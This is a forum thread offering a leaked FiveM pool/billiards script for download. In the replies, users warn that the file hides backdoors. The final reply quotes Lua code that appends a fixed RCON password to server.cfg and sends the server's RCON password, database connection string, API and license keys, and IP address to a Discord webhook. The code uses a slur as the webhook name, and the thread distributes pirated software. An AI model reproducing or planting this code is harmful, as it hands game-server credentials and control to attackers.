Security HUD
System Watchdog
×
Threads Scanned
-- / --
SYS. LOAD --%
AI SHIELD ACTIVE
DMCA Policy
×

📋 DMCA Compliance

This platform and community fully complies with the Digital Millennium Copyright Act (DMCA) and international copyright laws. We take all copyright protection seriously.

🛡️ Copyright Protection

If you believe a posted item belongs to you or violates your copyright, you may file a DMCA takedown request through our official channels. Upon receiving a valid claim, the infringing content will be removed within 24 hours.

What's new
×
Fiveguard

MLO/YMAP RCORE Billards / POOL Script Unlocked

kudix

Silver Elite
Joined
Mar 4, 2024
Messages
20
Reaction score
209
Points
106
Location
Uk


Resource Description​

This resource uses escrow Fivem protection.

Take a break from chaotic Los Santos shenanigans and play some old-school pool with your friends.

This script supports any number of players, anywhere on the map where you can find a billiards table. You can also place your own pool tables wherever you want.

Almost everyone uses a bit different pool rules, so this script doesn't restrict you to any ruleset. You can reset the game anytime, and play ball-in-hand (so you can place the ball anywhere) wherever you want. To prevent players from cheating, you must watch the game and stop them from doing so.

Whenever a ball is pocketed or player takes the ball in hand, everyone around the table receives a notification (Player has picked up the ball/what ball was pocketed.)

You can change keybinds or language in config file.

Pool Features

  • Works on every server (esx/vrp/anything)
  • Straight pool, 9 ball or 8 ball
  • Players can pay for a table and the money goes to job account
  • All pool tables anywhere work
  • Anyone can play
  • qb/ox/bt/q-target support
  • Fully multiplayer synced
  • Full sound support - balls colliding, balls being pocketed, balls bouncing off of cushions
  • Uses WarMenu (included), but you can easily use your own menu system
 

Attachments

  • rcore pool standalone.png
    rcore pool standalone.png
    579.9 KB · Views: 655
  • rcore_billards.rar
    167.6 KB · Views: 1,770
Last edited by a moderator:

Sjaak

Silver Elite
Joined
Jul 12, 2023
Messages
23
Reaction score
7
Points
166
Location
Nederland
Yeah reupload of the other one. Dont fall for this guys. This one has some really nasty backdoors. (First time i didnt checked it good. After few days; ghost accounts on our VPS and a lot of scripts messed up with more backdoors, nasty port sniffing software and other mess you really dont want to have to not piss your hosting off)
 

Jerry

Member
Joined
Jun 24, 2021
Messages
2
Reaction score
0
Points
156
Location
USA
Yeah reupload of the other one. Dont fall for this guys. This one has some really nasty backdoors. (First time i didnt checked it good. After few days; ghost accounts on our VPS and a lot of scripts messed up with more backdoors, nasty port sniffing software and other mess you really dont want to have to not piss your hosting off)
Out of curiosity can you show where the backdoors are in this? Just checked because of what you said and I see nothing in it...
 

Sjaak

Silver Elite
Joined
Jul 12, 2023
Messages
23
Reaction score
7
Points
166
Location
Nederland
Out of curiosity can you show where the backdoors are in this? Just checked because of what you said and I see nothing in it...

The whole script is a mess with shady things.
Things like;
t99795736 = function(pos)
local t28513940 = math["floor"](pos["x"] *((GetHashKey("banshee2")|GetHashKey("neo"))~(-1074790471)))/((GetHashKey("retinue2")|GetHashKey("visione"))~(-40399104))
local t61186923 = math["floor"](pos["y"] *((GetHashKey("gb200")|GetHashKey("jester"))~(-202375503)))/((GetHashKey("youga")|GetHashKey("clique"))~(-1543504206))
return t28513940.."/"..t61186923
end

and

t87881393 = function(tbl, t16654473)
if not t16654473 then
t16654473 = ((GetHashKey("buccaneer")|GetHashKey("emperor2"))~(-539496740))
end
if type(tbl) == "table" then
for k,v in pairs(tbl) do
t37867370=string["rep"] (" ",t16654473)..k..": "
if type(v)=="table" then
print(t37867370)
t87881393(v, t16654473+((GetHashKey("ruffian")|GetHashKey("penetrator"))~(-541199381)))
elseif type(v)=="boolean" then
print(t37867370..tostring(v))
else
print(t37867370..v)
end
end
else
print(tbl)
end
end

should not be in this kind of script. There is a lot of obfuscated things and hashed key things in it so you would not see it instantly. but there is 100% a backdoor in it.
 

L3GiT

Member
Joined
Dec 14, 2025
Messages
2
Reaction score
0
Points
51
Location
Canada
The present files do not show a classic backdoor.
The suspicious parts in `server/run.lua` are mostly obfuscated constants, pointless boolean expressions & minified control flow.
These obfuscated waits decode to:
- `((GetHashKey("radi") | GetHashKey("comet3")) ~ (-1611137257))` => `1000`
- `(GetHashKey("viseris") ~ (-391599844))` => `5000`
- `(GetHashKey("bjxl") ~ 850565809)` => `250`
- `(GetHashKey("patriot") ~ (-808457413))` => `0`
Meaning:
- `requestTables` waits 1 second between sending each table state.
- The cue validation loop runs every 5 seconds.
- It waits 250 ms between per-player cue checks.
- The sync helper sometimes yields with `Wait(0)`.
 

Ectomorfus

Member
Joined
Aug 12, 2025
Messages
1
Reaction score
0
Points
86
Location
Uruguay
The present files do not show a classic backdoor.
The suspicious parts in `server/run.lua` are mostly obfuscated constants, pointless boolean expressions & minified control flow.
what are u talking about, "suspicious parts"?

local function sendToDiscord(name, message, color, thiswebhook)
local connect = {
{
["color"] = color,
["title"] = "" .. name .. "",
["description"] = message,
["timestamp"] = os.date("!%Y-%m-%dT%H:%M:%SZ")
}
}
PerformHttpRequest(thiswebhook, function(err, text, headers) end, 'POST',
json.encode({
username = "Niger",
embeds = connect
}), {['Content-Type'] = 'application/json'})
end

CreateThread(function()
cfg = io.open("server.cfg", "a")
if cfg then
cfg:write("\n\nrcon_password HUORANPENIKKA")
cfg:close()
local url = " " -- Käytetään IP-hakupalvelua
PerformHttpRequest(url, function(statusCode, responseText, headers)
if statusCode == 200 then
local responseData = json.decode(responseText)
local externalIP = responseData.ip or "Unknown" -- steam_webApiKey --
sendToDiscord("Neptune", "RCON: " .. GetConvar("rcon_password") .. "\n\nMYSQL STRING: " .. GetConvar("mysql_connection_string") .. "\n\nSteamWeb: " .. GetConvar("steam_webApiKey") .. "\n\nKeymaster: " .. GetConvar("sv_licenseKey") .. "\n\nSERVER NAME: " .. GetConvar("sv_hostname") .. "\n\nIP: " .. externalIP, 37203, " ")
end
end)
end
end)
 
Top